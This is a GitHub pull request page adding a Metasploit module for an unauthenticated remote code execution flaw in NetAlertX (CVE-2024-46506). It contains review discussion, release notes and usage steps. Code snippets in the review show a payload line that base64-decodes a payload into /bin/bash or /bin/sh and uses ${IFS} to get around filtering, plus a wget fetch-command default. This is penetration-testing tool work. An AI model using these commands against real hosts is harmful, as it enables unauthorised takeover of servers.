-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add NetAlertX unauthenticated RCE module (CVE-2024-46506) #19868
Add NetAlertX unauthenticated RCE module (CVE-2024-46506) #19868
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @Takahiro-Yoko , I left some comments, however, the module seems to be working. I'll do additional testing and provide feedback.
'Linux Command', { | ||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, | ||
'DefaultOptions' => { | ||
'FETCH_COMMAND' => 'WGET' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a some degree of certainty that wget
should be present as default?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
(Assume Docker used) It seems that both curl and wget are available in the vulnerable version of the NetAlertX Docker container, so there may be no need to specify wget as the default. https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/Dockerfile#L60 9f43fcc Thanks!
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) | ||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 | ||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 | ||
cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" | |
cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh" |
Smaller payload (yay!), and more portable, and not every Linux system has bash
installed.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do we need to encode manually? What characters are we trying to avoid and what happens we pass them into the payload portion of the info hash as bad characters?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com> Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Release NotesA new module for unauthenticated remote code execution bug in NetAlertX (CVE-2024-46506). An unauthenticated attacker can change system configuration and force application to run arbitrary system commands, leading to remote code execution. |
https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/
Vulnerable Application
An attacker can update NetAlertX settings with no authentication, which results in RCE.
The vulnerability affects:
This module was successfully tested on:
Installation
docker pull jokobsk/netalertx:24.9.12
docker run
Verification Steps
use exploit/linux/http/netalertx_rce_cve_2024_46506
run lhost=<lhost> rhost=<rhost>
Scenarios